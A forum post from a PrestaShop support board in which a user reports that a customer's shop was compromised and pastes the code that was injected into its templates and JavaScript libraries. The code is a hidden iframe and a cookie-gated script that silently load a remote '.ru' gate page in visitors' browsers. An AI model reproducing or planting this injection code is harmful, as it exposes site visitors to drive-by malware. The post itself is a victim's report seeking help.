Jump to content

New Prestashop Virus?


Recommended Posts

Hi. A customer have a prestashop site with default theme. ANd a script has modify all your site adding javascript code. The script overwrite the footer.tpl, maintenance.tpl, liveedit.tpl, jquery library, tools library, ajax-cart and a lot more.

 

An example of the code added in footer.tpl is :

 

<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://zumobtr.ru/gate.php?f=977333   frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->

 

and for javascript:

 

[color=#007400][font=Consolas,]/*qpi*/[/font][/color][color=#AA0D91][font=Consolas,]function[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]g[/font][/color][color=#000000][font=Consolas,](){[/font][/color][color=#AA0D91][font=Consolas,]var[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]r[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#AA0D91][font=Consolas,]new[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]RegExp[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#C41A16][font=Consolas,]'(?:; )?1=([^;]*);?'[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#AA0D91][font=Consolas,]return[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]r[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]test[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]cookie[/font][/color][color=#000000][font=Consolas,])?[/font][/color][color=#AA0D91][font=Consolas,]true[/font][/color][color=#000000][font=Consolas,]:[/font][/color][color=#AA0D91][font=Consolas,]false[/font][/color][color=#000000][font=Consolas,]}[/font][/color][color=#AA0D91][font=Consolas,]var[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]e[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#AA0D91][font=Consolas,]new[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]Date[/font][/color][color=#000000][font=Consolas,]();[/font][/color][color=#000000][font=Consolas,]e[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]setTime[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]e[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]getTime[/font][/color][color=#000000][font=Consolas,]()+([/font][/color][color=#1C00CF][font=Consolas,]2592000000[/font][/color][color=#000000][font=Consolas,]));[/font][/color][color=#AA0D91][font=Consolas,]if[/font][/color][color=#000000][font=Consolas,](![/font][/color][color=#000000][font=Consolas,]g[/font][/color][color=#000000][font=Consolas,]()&&[/font][/color][color=#000000][font=Consolas,]window[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]navigator[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]cookieEnabled[/font][/color][color=#000000][font=Consolas,]){[/font][/color][color=#000000][font=Consolas,]window[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]setTimeout[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#AA0D91][font=Consolas,]function[/font][/color][color=#000000][font=Consolas,](){[/font][/color][color=#AA0D91][font=Consolas,]if[/font][/color][color=#000000][font=Consolas,](![/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]getElementById[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#C41A16][font=Consolas,]'pofasdfhg'[/font][/color][color=#000000][font=Consolas,])){[/font][/color][color=#AA0D91][font=Consolas,]var[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]createElement[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#C41A16][font=Consolas,]'div'[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]zIndex[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'-1'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]position[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'absolute'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]left[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]top[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]opacity[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]MozOpacity[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]style[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]filter[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'alpha(opacity=0)'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]id[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'pofasdfhg'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#AA0D91][font=Consolas,]var[/font][/color][color=#000000][font=Consolas,] [/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]createElement[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#C41A16][font=Consolas,]'iframe'[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]src[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'http://zumobtr.ru/gate.php?f=975701&r='[/font][/color][color=#000000][font=Consolas,]+[/font][/color][color=#000000][font=Consolas,]escape[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]referrer[/font][/color][color=#000000][font=Consolas,]||[/font][/color][color=#C41A16][font=Consolas,]''[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]width[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]height[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]frameborder[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]marginheight[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]marginwidth[/font][/color][color=#000000][font=Consolas,]=[/font][/color][color=#C41A16][font=Consolas,]'0'[/font][/color][color=#000000][font=Consolas,];[/font][/color][color=#AA0D91][font=Consolas,]try[/font][/color][color=#000000][font=Consolas,]{[/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]body[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]appendChild[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]appendChild[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]JSinj[/font][/color][color=#000000][font=Consolas,])}[/font][/color][color=#AA0D91][font=Consolas,]catch[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]e[/font][/color][color=#000000][font=Consolas,]){[/font][/color][color=#000000][font=Consolas,]document[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]documentElement[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]appendChild[/font][/color][color=#000000][font=Consolas,]([/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,]);[/font][/color][color=#000000][font=Consolas,]ddpopka[/font][/color][color=#000000][font=Consolas,].[/font][/color][color=#000000][font=Consolas,]appendChild[/font][/color][color=#000000][font=Consolas,](JSinj)[spam-filter]},1000)}/*qpi*/[/font][/color]

 

This block functions like ajaxt cart, product combinations, etc

Link to comment
Share on other sites

×
×
  • Create New...